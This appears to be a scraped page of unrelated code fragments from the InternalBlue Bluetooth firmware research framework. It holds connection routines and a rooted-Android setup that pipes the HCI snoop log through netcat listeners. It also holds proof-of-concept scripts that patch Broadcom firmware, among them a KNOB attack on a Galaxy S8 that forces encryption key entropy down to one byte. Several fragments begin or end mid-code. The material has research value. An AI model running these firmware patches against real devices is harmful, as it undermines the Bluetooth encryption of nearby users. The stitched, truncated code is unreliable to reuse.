Exemplo n.º 1
0
    def local_connect(self):
        """
        Start the framework by connecting to the Bluetooth Stack of the Android
        device via adb and the debugging TCP ports.
        """

        # Connect to adb device
        context.device = self.interface

        # setup sockets
        # on magisk-rooted devices there is sometimes already a read socket and this first setup needs to be skipped...
        if not self.serial:
            if not self._setupSockets():
                log.info("Could not connect using Bluetooth module.")
                log.info(
                    "Trying to set up connection for rooted smartphone with busybox installed."
                )
            else:
                return True  # successfully finished setup with bluetooth.default.so

        if not self._setupSerialSu():
            log.critical("Failed to setup scripts for rooted devices.")
            return False

        # try again
        if not self._setupSockets():
            log.critical("No connection to target device.")
            log.info(
                "Check if:\n -> Bluetooth is active\n -> Bluetooth Stack has Debug Enabled\n -> BT HCI snoop log is activated\n -> USB debugging is authorized\n"
            )
            return False

        return True
Exemplo n.º 2
0
 def local_connect(self):
     """
     Start the framework by connecting to the iOS bluetooth device proxy via
     TCP
     """
     if not self._setupSockets():
         log.critical("No connection to iPhone.")
         log.info(
             "Check if\n -> Bluetooth is deactivated in the iPhone settings\n -> internalblue-ios-proxy is running\n -> the proxied port is accesible from this machine"
         )
         return False
     return True
Exemplo n.º 3
0
    def local_connect(self):
        """
        """

        if not self.interface:
            log.warn("No HCI identifier is set")
            return False

        if not self._setupSockets():
            log.critical("HCI socket could not be established!")
            return False

        return True
Exemplo n.º 4
0
 def local_connect(self):
     """
     Start the framework by connecting to the iOS bluetooth device proxy via
     TCP
     """
     if not self._setupSockets():
         log.critical("No connection to iPhone.")
         log.info("Check if\n \
             -> Bluetooth is deactivated in the iOS device's settings\n \
             -> internalblued is installed on the device\n \
             -> the device is connected to this computer via USB\n \
             -> usbmuxd is installed on this computer")
         return False
     return True
Exemplo n.º 5
0
    def local_connect(self):
        """
        """
        if not self.host:
            log.warn("No BTstack daemon host defined")
            return False

        if not self.port:
            log.warn("No BTstack daemon port defined")
            return False

        if not self._setupSockets():
            log.critical("HCI socket could not be established!")
            return False

        return True
Exemplo n.º 6
0
 def __init__(
     self,
     ios_addr,
     queue_size=1000,
     btsnooplog_filename="btsnoop.log",
     log_level="info",
     fix_binutils="True",
     data_directory=".",
 ):
     super(iOSCore, self).__init__(queue_size,
                                   btsnooplog_filename,
                                   log_level,
                                   fix_binutils,
                                   data_directory=".")
     parts = ios_addr.split(":")
     if len(parts) != 2:
         log.critical(
             "iOS device address should be of format HOSTNAME:PORT")
         exit(-1)
     self.ios_addr = parts[0]
     self.ios_port = parts[1]
     self.serial = False
     self.doublecheck = True
     self.buffer = b""
Exemplo n.º 7
0
    def _setupSerialSu(self):
        """
        To run on any rooted device, we can also use some shellscripting.
        This is slower but at least works on any device.
        Commands on a S10e with Samsung Stock ROM + Magisk + busybox:

             tail -f -n +0 /data/log/bt/btsnoop_hci.log | nc -l -p 8872

             nc -l -p 8873 >/sdcard/internalblue_input.bin
             tail -f /sdcard/internalblue_input.bin >>/dev/ttySAC1

        Locations of the Bluetooth serial interface and btsnoop log file might differ.
        The second part *could* be combined, but it somehow does not work (SELinux?).

        The ADB Python bindings will kill the processes automatically :)

        """

        # In sending direction, the format is different.
        self.serial = True

        saved_loglevel = context.log_level
        context.log_level = "warn"

        try:
            # check dependencies
            if adb.which("su") is None:
                log.critical("su not found, rooted smartphone required!")
                return False

            if adb.process(["su", "-c", "which", "nc"]).recvall() == "":
                log.critical("nc not found, install busybox!")
                return False

            # automatically detect the proper serial device with lsof
            logfile = (adb.process([
                "su", "-c",
                "lsof | grep btsnoop_hci.log | tail -1 | awk '{print $NF}'"
            ]).recvall().strip().decode("utf-8"))
            log.info("Android btsnoop logfile %s...", logfile)
            interface = (adb.process([
                "su", "-c",
                "lsof | grep bluetooth | grep tty | awk '{print $NF}'"
            ]).recvall().strip().decode("utf-8"))
            log.info("Android Bluetooth interface %s...", interface)

            if logfile == "":
                log.critical(
                    "Could not find Bluetooth logfile. Enable Bluetooth snoop logging."
                )
                return False

            if interface == "":
                log.critical(
                    "Could not find Bluetooth interface. Enable Bluetooth.")
                return False

            # spawn processes
            adb.process(
                ["su", "-c",
                 "tail -f -n +0 %s | netcat -l -p 8872" % logfile])
            adb.process([
                "su", "-c", "netcat -l -p 8873 >/sdcard/internalblue_input.bin"
            ])
            adb.process([
                "su", "-c",
                "tail -f /sdcard/internalblue_input.bin >>%s" % interface
            ])
            sleep(2)

        except PwnlibException as e:
            log.warn("Serial scripting setup failed: " + str(e))
            return False
        finally:
            context.log_level = saved_loglevel

        return True
Exemplo n.º 8
0
    bl   0xE418  // bthci_event_AttemptToEnqueueEventToTransport

    // undo registers for our own routine
    mov   r0, r7
    pop   {r1-r7, lr}

    // branch back to _connTaskRxDone + 4
    //b     0x1344D4 // on S8 with Patchlevel May 1 2019 on stock ROM
    //b     0x134504 // August 30 Nightly Build
    b 0x%x

""" % (RX_DONE_HOOK_ADDRESS+4)

# setup sockets
if not internalblue.connect():
    log.critical("No connection to target device.")
    exit(-1)

# Install hooks
code = asm(ASM_HOOKS, vma=HOOKS_LOCATION)
log.info("Writing hooks to 0x%x..." % HOOKS_LOCATION)
if not internalblue.writeMem(HOOKS_LOCATION, code):
    log.critical("Cannot write hooks at 0x%x" % HOOKS_LOCATION)
    exit(-1)

log.info("Installing hook patch...")
patch = asm("b 0x%x" % HOOKS_LOCATION, vma=RX_DONE_HOOK_ADDRESS)
if not internalblue.writeMem(RX_DONE_HOOK_ADDRESS, patch):
    log.critical("Installing patch for _connTaskRxDone failed!")
    exit(-1)
Exemplo n.º 9
0
This is a standalone PoC for the KNOB attack on a Samsung Galaxy S8.

Original LMP monitor mode was from Dennis Mantz, and was then modified by Daniele Antonioli for KNOB.
For details see https://github.com/francozappa/knob

This PoC is much shorter since it only modifies global variables for key entropy.

"""

internalblue = ADBCore(serial=True)
internalblue.interface = internalblue.device_list()[0][
    1]  # just use the first device

# setup sockets
if not internalblue.connect():
    log.critical("No connection to target device.")
    exit(-1)

log.info(
    "Installing patch which ensures that send_LMP_encryptoin_key_size_req is always len=1!"
)

# modify function lm_SendLmpEncryptKeySizeReq
patch = asm("mov r2, #0x1", vma=0x530F6)  # connection struct key entropy
internalblue.patchRom(Address(0x530F6), patch)

# modify global variable for own setting
internalblue.writeMem(0x255E8F, b'\x01')  # global key entropy

log.info(
    "-----------------------KNOB-----------------------\n"
Exemplo n.º 10
0
    def _recvThreadFunc(self):
        """
        This is the run-function of the recvThread. It receives HCI events from the
        s_snoop socket. The HCI packets are encapsulated in btsnoop records (see RFC 1761).
        Received HCI packets are being put into the queues inside registeredHciRecvQueues and
        passed to the callback functions inside registeredHciCallbacks.
        The thread stops when exit_requested is set to True. It will do that on its own
        if it encounters a fatal error or the stackDumpReceiver reports that the chip crashed.
        """

        log.debug("Receive Thread started.")

        while not self.exit_requested:
            # Little bit ugly: need to re-apply changes to the global context to the thread-copy
            context.log_level = self.log_level

            # Read the record data
            try:
                record_data = self.s_snoop.recv(1024)
                record_data = bytearray(record_data)
            except socket.timeout:
                continue  # this is ok. just try again without error
            except Exception as e:
                log.critical(
                    "Lost device interface with exception {}, terminating receive thread..."
                    .format(e))
                self.exit_requested = True
                continue

            # btsnoop record header data:
            btsnoop_orig_len = len(record_data)
            btsnoop_inc_len = len(record_data)
            btsnoop_flags = 0
            btsnoop_drops = 0
            btsnoop_time = datetime.datetime.now()

            # Put all relevant infos into a tuple. The HCI packet is parsed with the help of hci.py.
            record = (
                hci.parse_hci_packet(record_data),
                btsnoop_orig_len,
                btsnoop_inc_len,
                btsnoop_flags,
                btsnoop_drops,
                btsnoop_time,
            )

            log.debug("_recvThreadFunc Recv: [" + str(btsnoop_time) + "] " +
                      str(record[0]))

            # Write to btsnoop file:
            if self.write_btsnooplog:
                btsnoop_record_hdr = struct.pack(
                    ">IIIIq",
                    btsnoop_orig_len,
                    btsnoop_inc_len,
                    btsnoop_flags,
                    btsnoop_drops,
                    self._btsnoop_pack_time(btsnoop_time),
                )
                with self.btsnooplog_file_lock:
                    self.btsnooplog_file.write(btsnoop_record_hdr)
                    self.btsnooplog_file.write(record_data)
                    self.btsnooplog_file.flush()

            # Put the record into all queues of registeredHciRecvQueues if their
            # filter function matches.
            for queue, filter_function in self.registeredHciRecvQueues:
                if filter_function is None or filter_function(record):
                    try:
                        queue.put(record, block=False)
                    except queue2k.Full:
                        log.warn(
                            "recvThreadFunc: A recv queue is full. dropping packets.."
                        )

            # Call all callback functions inside registeredHciCallbacks and pass the
            # record as argument.
            for callback in self.registeredHciCallbacks:
                callback(record)

            # Check if the stackDumpReceiver has noticed that the chip crashed.
            # if self.stackDumpReceiver.stack_dump_has_happend:
            # A stack dump has happend!
            # log.warn("recvThreadFunc: The controller send a stack dump.")
            # self.exit_requested = True

        log.debug("Receive Thread terminated.")
Exemplo n.º 11
0
 def local_connect(self):
     if not self._setupSockets():
         log.critical("No connection to target device.")
         self._teardownSockets()
     return True
Exemplo n.º 12
0
    push {r4,lr}
    mov r3, r0
    mov r4, r1
generate:
    mov r0, r3
    mov r1, r4
    bl 0x48E96  // generate new priv key
    ldr  r2, [r3]
    ands r2, 0x1
    bne generate
    pop  {r4,pc}
"""

# setup sockets
if not internalblue.connect():
    log.critical("No connection to target device.")
    exit(-1)

if internalblue.fw.FW_NAME != "BCM4335C0":
    log.info("This PoC was written for the BCM4345C0 chip (e.g. Nexus 5)")
    log.info("It does not work on other firmwares (wrong offsets).")
    exit(-1)

# Install hooks
code = asm(ASM_HOOKS, vma=HOOKS_LOCATION)
log.info("Writing hooks to 0x%x..." % HOOKS_LOCATION)
if not internalblue.writeMem(HOOKS_LOCATION, code):
    log.critical("Cannot write hooks at 0x%x" % HOOKS_LOCATION)
    exit(-1)

log.info("Installing hook patches...")